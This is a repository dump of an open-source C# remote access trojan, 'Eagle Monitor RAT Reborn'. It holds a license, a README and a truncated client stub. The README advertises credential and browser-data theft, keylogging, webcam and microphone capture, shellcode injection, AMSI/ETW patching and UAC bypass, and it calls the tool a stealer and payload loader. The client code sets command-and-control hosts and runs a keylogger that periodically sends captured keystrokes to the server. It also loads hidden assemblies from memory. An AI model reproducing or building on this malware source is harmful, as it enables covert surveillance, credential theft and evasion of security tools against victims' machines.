├── .NETFramework,Version=v4.0.AssemblyAttributes.cs │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── PacketLib.csproj.AssemblyReference.cache │ │ ├── PacketLib.csproj.CoreCompileInputs.cache │ │ └── PacketLib.csproj.FileListAbsolute.txt │ └── Release/ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── PacketLib.csproj.AssemblyReference.cache │ ├── PacketLib.csproj.CoreCompileInputs.cache │ ├── PacketLib.csproj.FileListAbsolute.txt │ └── _IsIncrementalBuild ├── bin/ │ └── Release/ │ ├── Extensions.txt │ ├── SamplePayloads(x32)/ │ │ └── PayloadDllCSharp.EntryPointExe.Main.txt │ ├── Stubs/ │ │ ├── client.cs │ │ └── client.xml │ └── config.json └── packages/ ├── AForge.2.2.5/ │ ├── .signature.p7s │ ├── AForge.2.2.5.nupkg │ └── lib/ │ └── AForge.xml ├── AForge.Video.2.2.5/ │ ├── .signature.p7s │ ├── AForge.Video.2.2.5.nupkg │ └── lib/ │ └── AForge.Video.xml ├── AForge.Video.DirectShow.2.2.5/ │ ├── .signature.p7s │ ├── AForge.Video.DirectShow.2.2.5.nupkg │ └── lib/ │ └── AForge.Video.DirectShow.xml ├── Costura.Fody.4.1.0/ │ ├── .signature.p7s │ ├── Costura.Fody.4.1.0.nupkg │ ├── build/ │ │ └── Costura.Fody.props │ ├── lib/ │ │ └── net40/ │ │ └── Costura.xml │ └── weaver/ │ └── Costura.Fody.xcf ├── Fody.6.0.0/ │ ├── .signature.p7s │ ├── Fody.6.0.0.nupkg │ ├── build/ │ │ └── Fody.targets │ ├── netclassictask/ │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.pdb │ │ └── Mono.Cecil.pdb │ └── netstandardtask/ │ ├── Mono.Cecil.Pdb.pdb │ ├── Mono.Cecil.Rocks.pdb │ └── Mono.Cecil.pdb ├── Newtonsoft.Json.13.0.1/ │ ├── .signature.p7s │ ├── LICENSE.md │ ├── Newtonsoft.Json.13.0.1.nupkg │ └── lib/ │ ├── net20/ │ │ └── Newtonsoft.Json.xml │ ├── net35/ │ │ └── Newtonsoft.Json.xml │ ├── net40/ │ │ └── Newtonsoft.Json.xml │ ├── net45/ │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.0/ │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.3/ │ │ └── Newtonsoft.Json.xml │ └── netstandard2.0/ │ └── Newtonsoft.Json.xml └── Vestris.ResourceLib.2.1.0/ ├── .signature.p7s ├── Vestris.ResourceLib.2.1.0.nupkg └── lib/ ├── net20/ │ └── Vestris.ResourceLib.xml ├── net35/ │ └── Vestris.ResourceLib.xml ├── net40/ │ └── Vestris.ResourceLib.xml ├── net45/ │ └── Vestris.ResourceLib.xml └── netstandard2.0/ └── Vestris.ResourceLib.xml ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ GNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see . ================================================ FILE: README.md ================================================ # Eagle Monitor RAT Reborn | Open Source & Modern Remote Access Tool Fast, lightweight & easily customizable remote access tool written in C# coded from scratch. Support project ?
BTC: 1JpBNGLNmYR6MANK7wcY3h1YF2vG92BM4r # [SUCCESSSOR] Beta & WIP : https://github.com/arsium/VoidHexed_Monitor ## Updates If you wanna follow what I'm working on : [Wiki](https://github.com/arsium/EagleMonitorRAT/wiki/Updates) ## What's new ? * [Last changelog](https://github.com/arsium/EagleMonitorRAT/releases/tag/3.2.3.0) ## Server features * Passwords recovery * History recovery * Autofill recovery * Keywords recovery * Remote Powershell * Remore CMD * Remote camera viewer (+ save pictures) * Remote microphone (auto saved) * Remote desktop control (+ save pictures) * Remote keyboard * Remote mouse * Remote chat * Remote DotNet Code Execution (VB + C#) * Process manager * Kill process (native techniques) * Suspend process (native techniques) * Resume process (native techniques) * ShellCode injection (NtWriteVirtualMemory + NtCreateThreadEx) * ShellCode injection (NtMapViewOfSection + NtCreateThreadEx) * Shutdown system * Reboot system * Suspend system * Hibernate system * Log out user * BSOD * Lock workstation * Offline keylogger (automatically saved) * Realtime keylogger (automatically saved) * Managed pe execution (current process) * Unmanaged pe execution (current process) * Managed dll execution (current process) * Unmanaged dll execution (current process) * Shellcode execution (current process) * Blur screenlocker * Audio up * Audio down * Hide + show taskbar * Hide + show desktop icons * Set wallpaper * File manager * Delete file * Download file * Rename file * Upload file * Get information (CPU, hardware, system) * Shortcuts (download, desktop and documents paths) * Logs (automatically saved) ## Client Features : * Anti-Debug (will cause BSOD if debugged) * AMSI patching * ETW patching * Randomize PE from PEB * Bypass UAC ## External depencencies * GunaUI * dnlib * Newtonsoft.Json * NAudio ## Notes * All saved stuff (logs, passwords...) are saved in csv format except offline keylogger * All external dlls used are in folder "DLLs + Package" * This remote access tool can also be used as stealer & payloads loader. * Build the project in "release mode" only (change x64 bit for Server) * Under license (AGPL) ## Technical information * Communication encrypted with RSM encryption (https://bhf.im/threads/438711/) * Packets compressed with QuickLZ (http://www.quicklz.com/download.html) * Automation tasks saved with binary format * Settings saved with JSON format * Server .NET 4.8 * Client .NET 4.5 * Tested on freshly installed W10 & W11 VM ## Inspirations * Webcam plugins : [AsyncRat](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/RemoteCamera/RemoteCamera/Packet.cs) * Keylogger (modded) : [AsyncRat](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/LimeLogger/LimeLogger/Packet.cs) * Unmanaged pe and dlls : [schellingb](https://github.com/schellingb/DLLFromMemory-net) * Remote mouse & keyboard : [Quasar](https://github.com/quasar/Quasar/) * Remote CMD & Powershell : [Quasar](https://github.com/quasar/Quasar/blob/master/Quasar.Client/IO/Shell.cs) ## Missing features (relative to previous versions) * Mass tasks * On connect tasks ## Interface ![PIC1](https://github.com/arsium/EagleMonitorRAT/blob/main/IMG/1.png?raw=true) ![PIC2](https://github.com/arsium/EagleMonitorRAT/blob/main/IMG/2.png?raw=true) ![PIC3](https://github.com/arsium/EagleMonitorRAT/blob/main/IMG/3.png?raw=true) I, the creator and all those associated with the development and production of this program are not responsible for any actions and or damages caused by this software. You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software's intended purpose is NOT to be used maliciously, or on any system that you do not have own or have explicit permission to operate and use this program on. By using this software, you automatically agree to the above. ================================================ FILE: Remote Access Tool/C2/App.config ================================================  ================================================ FILE: Remote Access Tool/C2/C2.csproj ================================================  Debug AnyCPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD} Exe C2 C2 v4.5 512 true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 true {d317ba4e-5818-4fc4-aa4e-eea824317759} Offline {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/C2/client.cs ================================================ using PacketLib.Packet; using PacketLib; using System; using System.Runtime.InteropServices; using System.Threading; using PacketLib.Utils; using System.IO; using System.Net.Sockets; using System.IO.Compression; using System.Collections.Generic; using System.Security.Principal; //[assembly: System.Reflection.AssemblyVersion("1.0.0.1")] //[assembly: System.Reflection.AssemblyFileVersion("1.0.0.1")] //[assembly: System.Reflection.AssemblyTitle("%Client%")] //[assembly: System.Reflection. AssemblyDescription("%Description")] [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] //[assembly: System.Runtime.Versioning.TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] //[assembly: ComVisible(false)] //[assembly: System.Reflection.AssemblyProduct("%Product%")] //[assembly: System.Reflection.AssemblyCopyright("%Copyright%")] //[assembly: System.Reflection.AssemblyTrademark("%Trademark%")] //[assembly: System.Reflection.AssemblyCompany("%Company%")] namespace Client { public static class Config { public static List hostLists = new List() { "qsdqsdqsdkjsdljk.com:7521", "127.0.0.1:7788", "127.0.0.1:9988", "127.0.0.1:9875" }; public static List hosts = new List(); public static string generalKey = "123456789"; public static bool offKeylog = false; public static string mutex = "%MUTEX%"; public static Offline.Persistence.Method installationMethod = Offline.Persistence.Method.NONE; public static string[] installationParam = new string[] { AppDomain.CurrentDomain.FriendlyName }; public static bool blockETW = false; public static bool blockAMSI = false; public static bool erasePEFromPEB = false; public static bool antiDBG = false; public static bool bypassUAC = false; } public class StarterClass { private static bool AlreadyLaunched = false; private static Mutex mutex; public static void OneInstance() { mutex = new Mutex(true, Config.mutex, out AlreadyLaunched); if (!AlreadyLaunched) { NtTerminateProcess((IntPtr)(-1), 0); } } private static System.Reflection.Assembly DomCheck(object send, System.ResolveEventArgs e) { byte[] offline = new byte[] { }; byte[] packetLib = new byte[] { }; if (e.Name.Contains("Packet")) { using (MemoryStream ms = new MemoryStream()) { using (MemoryStream compressedStream = new MemoryStream(packetLib)) { using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress)) { deflater.CopyTo(ms); } } return System.Reflection.Assembly.Load(ms.ToArray()); } } if (e.Name.Contains("Off")) { using (MemoryStream ms = new MemoryStream()) { using (MemoryStream compressedStream = new MemoryStream(offline)) { using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress)) { deflater.CopyTo(ms); } } return System.Reflection.Assembly.Load(ms.ToArray()); } } return null; } static StarterClass() { AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(DomCheck); } internal static void StartOfflineKeylogger() { if (Config.offKeylog) { new Thread(() => { while (true) { Thread.Sleep(30000); if (clientHandler.Connected) Offline.Keyloggers.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID)); Offline.Keyloggers.Launch.ClearKeyStroke(); } }).Start(); Offline.Keyloggers.Launch.Start(); } } [DllImport("ntdll.dll")] internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus); internal static ClientHandler clientHandler; internal static bool IsAdmin() { return new 